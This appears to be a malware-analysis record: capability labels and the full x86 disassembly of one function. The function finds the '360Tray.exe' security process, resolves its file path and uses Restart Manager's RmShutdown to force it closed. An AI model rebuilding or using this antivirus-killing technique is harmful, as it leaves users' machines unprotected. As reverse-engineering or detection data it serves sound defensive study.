Function at 0x10003d80
Capabilities:
Create restart manager session
Enumerate processes
Get disk information
Get process image filename

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x7f4
push ebx
push esi
push edi
push 0x124
lea eax, [ebp - 0x1e4]
mov esi, 1
push 0
push eax
call fcn.101455d0
add esp, 0xc
push 0
push 2
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov dword [ebp - 0x10], eax
cmp eax, 0xffffffff
je 0x10004056
lea ecx, [ebp - 0x1e8]
mov dword [ebp - 0x1e8], 0x128
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
je 0x10004056
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test esi, esi
je 0x10004056
push dword [ebp - 0x1e0]
push 0
push 0x400
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
lea eax, [ebp - 0x1c4]
push str.360Tray.exe
push eax
mov dword [ebp - 4], esi
call ebx
test eax, eax
jne 0x10004013
test esi, esi
je 0x10004013
push 0x200
lea eax, [ebp - 0x7f0]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_K32GetProcessImageFileNameA]
lea eax, [ebp - 0x3e0]
push eax
push 0x1f4
call dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsA]
test eax, eax
je 0x10003f39
cmp byte [ebp - 0x3e0], 0
je 0x10003f39
lea edi, [ebp - 0x3e0]
push 0x101b0330
push edi
call ebx
test eax, eax
je 0x10003f2d
push 0x101b0334
push edi
call ebx
test eax, eax
je 0x10003f2d
movzx eax, byte [edi]
mov byte [ebp - 8], al
movzx eax, byte [edi + 1]
mov byte [ebp - 7], al
lea eax, [ebp - 0xc0]
push 0x64
push eax
lea eax, [ebp - 8]
mov byte [ebp - 6], 0
push eax
call dword [sym.imp.KERNEL32.dll_QueryDosDeviceA]
test eax, eax
je 0x10003f4d
lea eax, [ebp - 0xc0]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov ebx, eax
lea edx, [ebp - 0x7f0]
mov esi, ebx
lea eax, [ebp - 0xc0]
sub esi, 4
jb 0x10003ee1
nop
mov ecx, dword [edx]
cmp ecx, dword [eax]
jne 0x10003eea
add edx, 4
add eax, 4
sub esi, 4
jae 0x10003ed0
cmp esi, 0xfffffffc
je 0x1000402a
mov cl, byte [edx]
cmp cl, byte [eax]
jne 0x10003f27
cmp esi, 0xfffffffd
je 0x1000402a
mov cl, byte [edx + 1]
cmp cl, byte [eax + 1]
jne 0x10003f27
cmp esi, 0xfffffffe
je 0x1000402a
mov cl, byte [edx + 2]
cmp cl, byte [eax + 2]
jne 0x10003f27
cmp esi, 0xffffffff
je 0x1000402a
mov cl, byte [edx + 3]
cmp cl, byte [eax + 3]
je 0x1000402a
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcmpiA]
add edi, 4
cmp byte [edi], 0
jne 0x10003e61
lea eax, [ebp - 0x7f0]
push eax
lea eax, [ebp - 0x5f0]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x42
lea eax, [ebp - 0x58]
mov dword [ebp - 4], 0xffffffff
push 0
push eax
call fcn.101455d0
add esp, 0xc
lea eax, [ebp - 0x58]
push eax
push 0
lea eax, [ebp - 4]
push eax
call dword [sym.imp.RstrtMgr.DLL_RmStartSession]
mov esi, eax
push esi
push 0x101b0338
call fcn.10001cb0
add esp, 8
test esi, esi
jne 0x10003ff9
lea ecx, [ebp - 0x5f0]
lea edx, [ecx + 1]
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10003fa0
sub ecx, edx
lea eax, [ecx + 1]
push eax
lea ecx, [ebp - 0x3f0]
push ecx
push eax
lea eax, [ebp - 0x5f0]
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
test eax, eax
je 0x10004004
push 0
push 0
push 0
lea eax, [ebp - 0x3f0]
push 0
mov dword [ebp - 0xc], eax
lea eax, [ebp - 0xc]
push eax
push 1
push dword [ebp - 4]
call dword [sym.imp.RstrtMgr.DLL_RmRegisterResources]
test eax, eax
jne 0x10003ff9
push eax
push eax
push dword [ebp - 4]
call dword [sym.imp.RstrtMgr.DLL_RmShutdown]
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
push dword [ebp - 4]
call dword [sym.imp.RstrtMgr.DLL_RmEndSession]
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcmpiA]
lea eax, [ebp - 0x1e8]
push eax
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_Process32Next]
mov esi, eax
jmp 0x10003de3
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x5f0]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea eax, [ebp - 0x7f0]
add eax, ebx
push eax
lea eax, [ebp - 0x5f0]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
jmp 0x10003f4d
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret